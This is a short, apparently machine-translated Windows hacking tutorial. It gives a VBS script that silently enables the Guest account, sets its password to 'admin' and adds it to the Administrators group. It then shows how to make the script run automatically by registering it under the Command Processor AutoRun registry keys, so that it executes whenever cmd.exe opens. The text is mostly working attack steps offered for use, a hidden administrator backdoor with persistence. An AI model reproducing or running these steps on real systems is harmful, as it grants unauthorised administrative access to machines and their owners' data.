Create a vbs file with the following content:
Dim wsh
Set wsh = Createobject ("wscript. Shell ")
Wsh. Run "Net user guest/active: yes", 0
Wsh. Run "Net user Guest admin", 0
Wsh. Run "net localgroup administrators guest/Add", 0
In the preceding section, vbs activates the Guest account, adds it to the advanced management group, and sets the password to admin.
Then, why don't you use the bat? Continue and find the following key in the registry:
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ command processor \ autorun
And/or
HKEY_CURRENT_USER \ Software \ Microsoft \ command processor \ autorun
Enter the vbs path in the Autorun key! For example, D:/AO/fj126.net/id.vbs
Let's take a look at the introduction of these two locations:
If/D is not specified on the command line, when cmd. EXE runs, it will automatically find the following REG_SZ/reg_expand_sz registry variable. If one or both of these variables exist, the two variables are executed first.
That is to say, once CMD is started, the above script will be run. It can be said that it is a cmd Association.
Go to the Registry and find the above location.
Okay. Let's test it.
Open cmd again.
How can I activate it again? What will happen if I use bat instead of vbs? Let's take a look.
You know why you don't need bat.